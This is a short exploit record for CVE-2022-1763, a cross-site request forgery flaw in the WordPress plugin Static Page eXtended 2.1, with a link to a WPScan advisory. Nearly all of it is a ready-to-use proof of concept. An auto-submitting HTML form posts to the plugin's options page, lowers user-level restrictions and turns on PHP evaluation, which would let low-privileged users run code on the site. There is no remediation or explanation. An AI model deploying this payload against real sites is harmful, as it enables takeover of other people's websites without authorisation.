CVE: CVE-2022-1763

Name: Static Page eXtended (jp-staticpagex)

Version: 2.1

Date: 2022-04-18 13:42:34

Advisory: https://wpscan.com/vulnerability/bd3aff73-078a-4e5a-b9e3-1604851c6df8

Type: CSRF

Exploit: 


<form action="https://example.com/wp-admin/options-general.php?page=jp-staticpagex.php&action=modifypluginoptions" method="POST">
    <input type="text" name="JPSPX_MODIFY_PLUGIN_OPTIONS" value="1">
    <input type="text" name="JPSPX_REPLACE_CONTENT_USER_LEVEL" value="1">
    <input type="text" name="JPSPX_REPLACE_CONTENT_FOLDER" value="wp-content/staticpages/">
    <input type="text" name="JPSPX_REDIRECT_USER_LEVEL" value="1">
    <input type="text" name="JPSPX_INLINE_INCLUDES_USER_LEVEL" value="1">
    <input type="text" name="JPSPX_EVAL_PHP_USER_LEVEL" value="1">
    <input type="text" name="JPSPX_EVAL_PHP" value="on">
</form>
<script>
    document.forms[0].submit();
</script>